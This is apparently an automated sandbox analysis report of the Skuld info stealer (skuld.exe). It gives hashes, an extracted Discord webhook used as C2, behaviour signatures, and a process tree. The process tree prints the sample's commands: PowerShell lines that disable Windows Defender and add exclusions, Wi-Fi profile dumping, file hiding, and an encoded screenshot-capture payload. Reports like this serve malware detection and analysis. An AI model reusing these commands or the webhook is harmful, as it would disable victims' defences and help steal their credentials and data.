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Analysis

  • max time kernel
    141s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/06/2024, 12:06

General

  • Target

    skuld.exe

  • Size

    9.5MB

  • MD5

    cf7bd8fef497cbb7545373bd87659064

  • SHA1

    fa0b9b9a9adecbdf2a3d72ec66f7415592df439c

  • SHA256

    ac9b264c17e54ea3aff40f6f4ddb474da2c43132a86ddf15809983df47f106d0

  • SHA512

    174bd9263ba7a063432a1aa61e0994fbb1cb755213d2eb12d821afa2f9d4a8e49b394f96f5c619974f56845819296ebb7369ca7e147c38cae801c5c2c18040c7

  • SSDEEP

    98304:FDmUoFpgdugturl7vagvw3c4EDfCTwp51T/h:kZFpgd27vagI3UDV/

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1256145337744359525/7zwnBhs6wh3MTM_zYSDtpQMk3Wv1RH3XvxhYSsWV07U0r5SfXeHF9snhugyCbuEZIr40

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1384
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Views/modifies file attributes
      PID:2544
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:636
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1332
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:792
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3672
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      PID:2200
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
        PID:1652
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2656
      • C:\Windows\system32\netsh.exe
        netsh wlan show profiles
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        PID:900
      • C:\Windows\system32\attrib.exe
        attrib -r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:1432
      • C:\Windows\system32\attrib.exe
        attrib +r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:1328
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1796
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ubfmuw5q\ubfmuw5q.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:264
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6B2.tmp" "c:\Users\Admin\AppData\Local\Temp\ubfmuw5q\CSCD0E8D7C9524A4078872B8C113F745B17.TMP"
            4⤵
              PID:564
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3992 --field-trial-handle=2280,i,716736634476467098,11449718822158202904,262144 --variations-seed-version /prefetch:8
        1⤵
          PID:4456

        Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          d85ba6ff808d9e5444a4b369f5bc2730

          SHA1

          31aa9d96590fff6981b315e0b391b575e4c0804a

          SHA256

          84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

          SHA512

          8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          2e907f77659a6601fcc408274894da2e

          SHA1

          9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

          SHA256

          385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

          SHA512

          34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          c08aea9c78561a5f00398a723fdf2925

          SHA1

          2c880cbb5d02169a86bb9517ce2a0184cb177c6e

          SHA256

          63d2688b92da4d1bb69980b7998b9be1595dd9e53951434a9414d019c4f825a7

          SHA512

          d30db2f55bbda7102ffe90520d233355633313dcc77cdb69a26fdbb56e59dd41793def23d69dc5dc3f94c5bd41d3c26b3628886fd2edbed2df0b332e9a21f95c

        • C:\Users\Admin\AppData\Local\Temp\HkUZz36E0I\Display (1).png

          Filesize

          424KB

          MD5

          9c4715a4b892f80cb8900853a3f2b194

          SHA1

          4938ff7fa114ce86b4a84e29d9f542f56b69d696

          SHA256

          ebacbf627f5977d86156b00507d46a8cc2325e2d416d6f0e51ab5089766b2393

          SHA512

          e504168c3fbeed143bef22b09662bee347bb3111fb7d48d3c3a9986d36828699883287904f8df9b9650ab751aa39344779789546b83d8e63b6f3857ec79a2c55

        • C:\Users\Admin\AppData\Local\Temp\RES6B2.tmp

          Filesize

          1KB

          MD5

          3d8575d2433cd2a12814924fdc1c9a56

          SHA1

          f4f526cee3dbe1b624cdf52f57ad4cfdf5d360f7

          SHA256

          6306bfa142bbe81da4cbf1c0e5381372c5dc3370e67266915c875ac12871dbca

          SHA512

          6007f2dba43f509e8ed02cb0732ca69f54a0fd06c4d4043ebafdaec304bb9d13bea9ec13333043e54d5090a9a9824dfcfc1892cf5feb25a1d2345bcdc3d594b3

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tnr1o1wj.ffb.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\ubfmuw5q\ubfmuw5q.dll

          Filesize

          4KB

          MD5

          0a194d1fb56c079771ec1e04fd66e1fd

          SHA1

          f03b44cea396b18031bda97bfcce9a0ff29bd391

          SHA256

          fdeb3084395a88e72fa5120902dfd3d1d4a701785bf0851a7084e764fa4378f5

          SHA512

          84be0e76d2569525113339a51d2837fb02a2a976d1a6a5ee7478c926dd0731cc6e93aef7c090e52f5b6e78f45312c898ada544239912322da2551c5023202644

        • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

          Filesize

          9.5MB

          MD5

          cf7bd8fef497cbb7545373bd87659064

          SHA1

          fa0b9b9a9adecbdf2a3d72ec66f7415592df439c

          SHA256

          ac9b264c17e54ea3aff40f6f4ddb474da2c43132a86ddf15809983df47f106d0

          SHA512

          174bd9263ba7a063432a1aa61e0994fbb1cb755213d2eb12d821afa2f9d4a8e49b394f96f5c619974f56845819296ebb7369ca7e147c38cae801c5c2c18040c7

        • C:\Windows\System32\drivers\etc\hosts

          Filesize

          2KB

          MD5

          6e2386469072b80f18d5722d07afdc0b

          SHA1

          032d13e364833d7276fcab8a5b2759e79182880f

          SHA256

          ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

          SHA512

          e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

        • \??\c:\Users\Admin\AppData\Local\Temp\ubfmuw5q\CSCD0E8D7C9524A4078872B8C113F745B17.TMP

          Filesize

          652B

          MD5

          47ad082ea0e53775fb64e347eec0c294

          SHA1

          d01d17881a5a30674f05c73e2dde990e7e414933

          SHA256

          ea4a571ce066912d62e3e1d1e5ff35ef1cb78cece8e7d9f8637ed42bf934aea2

          SHA512

          23db69059b2a4e044ea3abfb6125eb805a5506c1b45145c05132c1c727bde77d2987891b11c6841251c4303c43e427685cf80fa5c851458f687c66c874b2563d

        • \??\c:\Users\Admin\AppData\Local\Temp\ubfmuw5q\ubfmuw5q.0.cs

          Filesize

          1004B

          MD5

          c76055a0388b713a1eabe16130684dc3

          SHA1

          ee11e84cf41d8a43340f7102e17660072906c402

          SHA256

          8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

          SHA512

          22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

        • \??\c:\Users\Admin\AppData\Local\Temp\ubfmuw5q\ubfmuw5q.cmdline

          Filesize

          607B

          MD5

          bcce908c10a1d653db6545e94c0a2dfc

          SHA1

          46f465e239bd0b3c6a3edc8eb8e9067f5b3f41ae

          SHA256

          a89e0c3fb3053c8e60b06c44b9202f688e28c2e26144c2e79622ab7b06e3fbf5

          SHA512

          a1eb5b2171a5754cadc45cab57676659fbc484dc497474ba416146cb3a9161ea912af04bdf899fad1d220bcc2864b1dd33ca0725a4977d1b7ff7aa4b7b668fed

        • memory/1332-0-0x00007FFEAC103000-0x00007FFEAC105000-memory.dmp

          Filesize

          8KB

        • memory/1332-23-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp

          Filesize

          10.8MB

        • memory/1332-15-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp

          Filesize

          10.8MB

        • memory/1332-12-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp

          Filesize

          10.8MB

        • memory/1332-11-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp

          Filesize

          10.8MB

        • memory/1332-1-0x0000028997FB0000-0x0000028997FD2000-memory.dmp

          Filesize

          136KB

        • memory/1796-67-0x00000279CAE40000-0x00000279CAE48000-memory.dmp

          Filesize

          32KB